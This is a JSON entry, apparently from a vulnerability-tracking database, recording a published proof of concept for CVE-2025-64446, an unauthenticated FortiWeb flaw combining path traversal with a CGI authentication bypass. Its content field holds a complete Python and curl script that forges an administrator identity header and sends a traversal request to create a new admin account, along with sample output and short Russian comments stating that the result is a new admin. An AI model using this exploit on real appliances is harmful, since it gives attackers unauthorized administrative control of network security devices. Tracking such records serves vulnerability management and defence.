{"uuid": "50c18c03-7a6d-47d1-80ad-95849e8c2902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-64446", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2878", "content": "CVE-2025-64446 FortiWeb Unauthenticated RCE via Path Traversal and CGI Auth Bypass\n*\n\u041d\u0443 \u0442\u043e \u0435\u0441\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u042d\u0422\u041e\u0413\u041e\n\u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u0430\u043a\u043e\u0435:\npython3 - &lt;&lt;'PY'\nimport base64, json, subprocess\nheader = base64.b64encode(json.dumps({\n        \"username\": \"admin\",\n        \"profname\": \"prof_admin\",\n        \"vdom\": \"root\",\n        \"loginname\": \"admin\"\n}).encode()).decode()\n\npayload = json.dumps({\n    \"data\": {\n        \"q_type\": 1,\n        \"name\": \"note2\",\n        \"access-profile\": \"prof_admin\",\n        \"password\": \"note2\",\n        \"comment\": \"automated RCE\"\n    }\n})\n\ncmd = [\n    \"curl\", \"--path-as-is\", \"-sk\",\n    \"-H\", f\"CGIINFO: {header}\",\n    \"-H\", \"Content-Type: application/json\",\n    \"--data\", payload,\n    \"https://localhost:38443/api/v2.0/cmdb/system/admin%3f/../../../cgi-bin/fwbcgi\"\n]\nprint(subprocess.run(cmd, capture_output=True, text=True).stdout)\nPY\n\nOutput from the box:\n\n{ \"results\": { \"name\": \"note2\", \"access-profile\": \"prof_admin\", ... } }\n \n\u0422\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u043e\u0432\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0430", "creation_timestamp": "2026-07-22T00:00:26.495609Z"}